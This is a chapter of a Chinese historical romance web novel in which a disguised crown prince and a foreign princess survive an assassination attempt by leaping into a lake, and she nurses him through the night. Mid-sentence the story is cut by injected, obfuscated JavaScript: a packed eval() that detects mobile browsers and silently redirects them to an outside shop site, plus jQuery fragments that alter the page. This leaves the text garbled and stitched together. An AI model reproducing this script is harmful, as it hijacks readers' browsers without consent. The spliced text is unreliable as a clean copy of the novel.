翌日清晨,慈恩寺的晨钟悠扬,飞檐斗拱在晨曦中勾勒出庄严的轮廓,檀香袅袅,青烟缭绕,善男信女络绎不绝。
佐宸换了一身天青色的素缎直裰,玉簪束发,手持一柄看似寻常的湘妃竹折扇,行走于古柏参天的庭院小径,气度清华,宛如游学的世家公子。
寺院后山,佐宸步履从容,拾级而上。行至半途,目光状似随意地掠过前方。
果然!那抹熟悉而跳脱的身影,如惊鸿照影,跃入眼帘。
黛黛今日未着张扬的衣服,换了一身素雅的窄袖襦裙,乌黑的长发编成几股俏皮的小辫,发间斜插一支点翠蝴蝶簪,随着她轻快的步伐微微颤动。
她正独自一人,俯身探向嶙峋石壁的缝隙,好奇地伸长了手臂,去够一株从石缝间顽强生长、开得正盛的紫色野花。
“咦?这小花儿生得真倔强,又好看!叫什么名儿呢?”她喃喃自语,指尖触碰着那柔嫩的花瓣。
“此花名唤‘石见穿’。”一个熟悉的嗓音自身后响起,“虽生于微末石隙,不沾沃土,却坚韧非凡,尤擅破石而生,故得此名。”
黛黛蓦然回首!晨光熹微中,林左晨正含笑立于几步之外的石阶之上。
今日一袭天青,更衬得他身姿挺拔如修竹,风仪清朗似玉山。折扇轻摇,气度从容,那双眼眸正带着温和笑意看着她,仿佛早已在此等候多时。
“是你?林左晨!”黛黛惊喜之情溢于言表。
她几步跳到佐宸面前,仰着小脸,雀跃道:“公子!我们又见面了!真是好巧!你也来拜佛吗?”她带着特有的直率,全然不顾男女之防的礼数。
“心有所念,身自随喜。”佐宸唇角微扬,目光掠过她发间颤动的蝴蝶簪。
佐宸眼中笑意加深,目光滑向她因兴奋而微红的脸颊:“燕姑娘……今日装扮,倒是清雅别致。”他故意点破姓氏,既是试探,亦是欣赏。
黛黛一怔,随即俏皮地吐了吐舌尖,并没有被识破身份的窘迫:“哎呀,又被公子看穿啦?父亲总说我是野丫头,勒令我学学贵女的娴雅,这不,特意换的!好看吗?”她拎起裙摆,轻盈地旋了个圈,裙裾飞扬如莲。
他赞许道:“清水出芙蓉,天然去雕饰。姑娘本真之态,远胜矫揉造作万千。”
黛黛被他夸得心花怒放,脸颊更红:“公子说话真好听!”眼神亮晶晶地锁住他,大胆而热切,如同小鹿般撞进佐宸心底。
两人并肩沿青石小径向上漫步。佐宸学识渊博,将古刹千年沧桑、佛像渊源娓娓道来。黛黛听得入神,不时发出惊叹和提问,那双眼睛里充满了对楚国文化的向往和好奇。
“林左晨,你懂得真多!不像我,父亲总说我除了骑马射箭,什么也不会!”黛黛钦佩道,又有些自嘲。
佐宸看着她亮晶晶的眼睛,心头一软,温声道:“尺有所短,寸有所长。姑娘纵马草原、引弓射雕的飒爽英姿,亦是闺阁难以企及的风华。天地广阔,万物各有其美,何必以己之短,妄自菲薄?”
黛黛怔怔地看着佐宸温润如玉的侧脸,看着他眼中那份理解与包容,内心悸动悄然蔓延。
在燕国,她听到的多是规劝她收敛性情的言语,唯有眼前这人,看到了她野性不羁背后的光芒,并真诚地欣赏着。这份理解与尊重,比任何华丽的辞藻更能打动她少女的心扉。
不知不觉,两人已行至后山临崖的观景小亭。视野开阔,山下都城繁华、蜿蜒玉带般的护城河尽收眼底。清风徐来,令人心旷神怡。
“哇!这里真好!仿佛天地都在怀抱之中!”黛黛倚着朱漆亭柱,张开双臂,深深吸气,回眸笑容灿烂。
“林左晨,谢谢你带我来这里!这里看下去,感觉整个金陵都在脚下呢!比在驿馆里看舒服多了!”
佐宸站在她身侧,目光掠过她兴奋的侧脸,望向山下那属于他的锦绣江山,能与她分享这片壮阔,心中涌起奇异的满足。他唇角含笑,正欲开口。
佐宸眼风锐利,瞬间捕捉到侧前方密林枝叶间一处不寻常的晃动,杀机凛冽!他厉声喝道:“有刺客!保护燕姑娘!”
话音未落,数道黑影自不同方向的树丛中暴射而出!手中兵刃寒光刺目,直扑二人!随行的几名东宫侍卫反应极快,悍然拔刀迎上!
铛铛铛!金铁交鸣之声打破了山间宁静。两方势力你来我往,进退攻守,刀光剑影交错,杀气腾腾。
然而刺客人数众多,身手狠辣刁钻,招招致命!东宫侍卫虽拼死力战,但寡不敌众,很快便有人血溅当场,惨呼声令人心胆俱裂。
“啊!”黛黛何曾见过如此血腥场面,俏脸血色尽褪,惊骇失声。
“别怕!跟紧我!”佐宸一把将黛黛护在身后,俊朗的面容瞬间冰寒。
他手腕一抖,那柄看似装饰的素面折扇唰地展开,扇骨竟是精铁所铸。折扇在他手中化作灵蛇,格、挡、点、削,招式凌厉迅捷,竟将攻到近前的几柄利刃一一荡开。
其身手之敏捷,武功之精妙,远超黛黛想象。
但刺客显然有备而来,配合默契,悍不畏死!佐宸既要护住身后惊惶的黛黛,又要应对四面八方袭来的杀招,左支右绌。
一名刺客瞅准佐宸保护黛黛的空档,手中短匕狠辣地刺向佐宸肋下!
佐宸回防稍迟,锋利的匕尖在他左肋下带出一道血痕,鲜血染红了衣袍。
“林左晨!”黛黛失声尖叫,心胆俱裂!
剧痛袭来,佐宸身形一晃,却仍死死将黛黛护在身后。
刺客们攻势更急,步步紧逼。两人被逼得连连后退,不知不觉已退至悬崖边缘,身后,是深不见底的幽谷,寒风呼啸。
黛黛仓促间向下瞥了一眼,只见崖底云雾缭绕,隐约可见一片粼粼波光——是湖!她心中闪过一个念头:淹死,总好过落入这些刺客之手被虐杀!
生死一线,不容犹豫!黛黛猛地扯下自己腰间束带,又迅速去缠佐宸的。
“抱紧我!下面有湖!”她朝受伤的佐宸嘶声喊道。同时,将两人的腰带缠绕在一起,打上死结。
佐宸明白了她的意图,眼中闪过惊愕与决然。他不再犹豫,用未受伤的右臂死死箍住黛黛的腰身,将她整个人护在怀中。
“跳!”佐宸低吼一声,抱着黛黛,向着那云雾缭绕的深谷,纵身跃下!
风声在耳边凄厉呼啸,失重感揪住心脏!黛黛紧闭双眼,只觉被一个温暖的怀抱紧紧包裹,急速下坠!
噗通——!!!飞溅的水花在寂静的山谷中炸开,冰冷刺骨的湖水从四面八方涌来。巨大的冲击力让两人沉入水底。
佐宸左肋的伤口在湖水中剧烈刺痛,鲜血迅速在水中晕开一片红。他本就失血,又遭此重击,意识瞬间模糊,箍着黛黛的手臂也松了力道。
“林左晨!”黛黛心中大骇,水性极佳的她奋力挣扎着浮出水面,呛咳着,一手抓住缠在两人腰间的衣带,另一只手拼命划水,拖着昏迷的佐宸,艰难地向岸边游去。
冰冷的湖水,沉重的负担,死亡的威胁,让她每一寸肌肉都在颤抖,但她咬紧牙关,心中只有一个念头:不能让他死!
不知过了多久,黛黛精疲力竭,终于将佐宸拖上了一片浅滩。她瘫倒在地,剧烈喘息,浑身湿透,冷得瑟瑟发抖。
再看佐宸双目紧闭,左肋伤口鲜血直流,触目惊心,气息微弱。
“林左晨!醒醒!别睡!”黛黛扑到他身边,声音哽咽,颤抖着手去探他的鼻息,微弱得几不可察。
她手足无措,她想起幼时见过溺水之人……
顾不得男女大防,顾不得羞涩,黛黛深吸一口气,俯下身,捏开佐宸苍白的唇,将自己的气息渡了进去。一次,两次……同时用力按压他坚实的胸膛。她不懂什么医理,只知道这是唯一能救他的方法。
“咳、咳咳……”几声剧烈的呛咳后,佐宸口中涌出大量湖水,眼皮艰难地颤动了几下,终于缓缓睁开了一条缝。视线模糊中,他看到了黛黛那张满是恐惧与泪痕的小脸。
“你、你醒了!”黛黛喜极而泣,紧紧抓住他的手,“太好了!你吓死我了!”
佐宸只觉得浑身寒冷,左肋伤口火辣辣地疼,头痛欲裂。他看着黛黛为自己哭得梨花带雨,心口被狠狠撞了一下。
他扯出一个虚弱的笑容,声音嘶哑破碎:“别怕……我命硬……死不了……”
他费力地抬起未受伤的手,想替她擦泪,却连抬手的力气都没有:“找……找林惟序……他……”话未说完,一阵眩晕袭来,他头一歪,再次陷入昏迷。
失血过多加上跳湖受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935882|213713||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
寒,高热如同燎原之火,迅速在他体内蔓延开来。
“林左晨!林左晨!”黛黛惊慌地呼唤,触手所及,他的额头滚烫得吓人!
环顾四周,乱石嶙峋,古木参天,幽深的山谷不知通往何处,根本辨不清方向。
“不行!不能让他死在这里!”黛黛咬紧下唇,用尽全身力气,将昏迷不醒的佐宸半背半拖,挪到一处背风的巨大岩石凹陷处。
她脱下自己湿透的外衫,拧干水分,仔细盖在他身上,又寻来干燥的落叶厚厚铺在他身下。做完这一切,她自己也虚脱无力,浑身冰冷。
夜色笼罩了山谷。寒风呜咽,如同鬼哭。
佐宸在高热中辗转反侧,浑身滚烫,意识模糊。冰冷的身体本能地靠近身边唯一的热源——黛黛。黛黛毫不犹豫地将瑟瑟发抖的他抱在怀中,用自己的体温为他取暖。
望着他苍白痛苦的脸,黛黛心如刀绞。她想起自己幼时发高热,母亲也是这样抱着她,给她讲故事,唱摇篮曲……
她学着母亲的样子,轻轻拍抚着佐宸的背脊,在他耳边用颤抖却温柔的声音低语:“林左晨,别睡……我陪着你……我给你讲我小时候的故事好不好?”
“在我们燕国,春天的时候,草场上开满了金莲花,像铺了金色的毯子……我第一次骑马,才十岁,那匹小马驹叫‘追风’,跑得可快了,我吓得哇哇哭……”
她断断续续地讲着,讲累了,她便开始哼唱母后教她的那首古老的燕国摇篮曲。曲调悠远哀婉,在寂静的山谷中低回盘旋。
昏沉中的佐宸,仿佛被这歌声牵引着,坠入了一个光怪陆离的梦境。
他梦见了母后。梦见了母后温柔的低语……那是他十三岁丧母后,深埋心底、再也不敢触碰的温暖与痛楚。
身为太子,他背负江山,守护幼妹,如履薄冰,殚精竭虑。可谁又知道,他心底深处那个渴望被保护、被理解的小小少年,从未真正长大?
那些沉重的压力,那些无人可诉的孤寂与恐惧,此刻在病痛与迷离中,在黛黛的怀抱与歌声编织的幻境里,汹涌而出。
他在梦中,像个迷路的孩子,依偎着母后的怀抱,无声地啜泣,释放着压抑多年的脆弱。
不知过了多久,高热似乎退去了一些。佐宸缓缓睁开眼,视线由模糊渐渐清晰。
映入眼帘的,是黛黛布满泪痕、写满担忧的脸。方才梦境中母后的怀抱,与此刻现实的温暖重叠在一起,让他心神剧震。
泪水,不可控制地再次涌上佐宸的眼眶,这并非伤口的疼痛,而是心防彻底崩塌后,混杂着脆弱、依赖以及悸动的泪水。
他第一次,在一个女子面前,卸下了所有太子的伪装,露出了最真实的、伤痕累累的内心。
他看着黛黛,眼神复杂难辨,有劫后余生的茫然,有梦回母后的眷恋,更有对她此刻守护的深深触动。
黛黛见他醒来落泪,更是惊慌失措,以为他疼痛难忍,连忙去擦他的眼泪,哽咽道:“是不是很疼?你别哭,千万别睡过去!你坚持住,相信我,一定会有人来救我们的!林惟序他……他那么厉害,一定能找到我们的!”
佐宸看着她为自己慌乱、为自己落泪的模样,感受着她指尖轻柔的擦拭,心口那股陌生的暖流再次汹涌。
他艰难地扯了扯嘴角:“你……唱歌……真好听……像……像……”他顿住了,没有说出像母后,只是深情地望着她,“再……再唱一次……好吗?”
黛黛用力点头,泪水却流得更凶。她将他抱得更紧些,仿佛要将自己的力量传递给他,再次哼唱起那首曲子。歌声依旧苍凉,却比之前多了几分安抚人心的温柔。
佐宸枕在她温软的怀抱里,听着她的歌声,望着头顶闪烁着点点寒星的墨色苍穹。身体依旧疼痛寒冷,死亡的气息仍未远离。
然而,在这荒无人烟的绝境之中,在这个为他哭泣、为他歌唱的异国公主怀里,他那颗习惯了权谋与孤寂的心,竟奇异地体验到了前所未有的安宁,仿佛漂泊已久的孤舟,终于寻到了可以停泊的港湾。
点点繁星,默默注视着悬崖之下,乱石之间,这对紧紧相拥、共同对抗着寒冷与死亡的年轻人。
命运的红线,在血与泪、生与死的锤炼中,缠绕得愈发紧密,再也无法分开。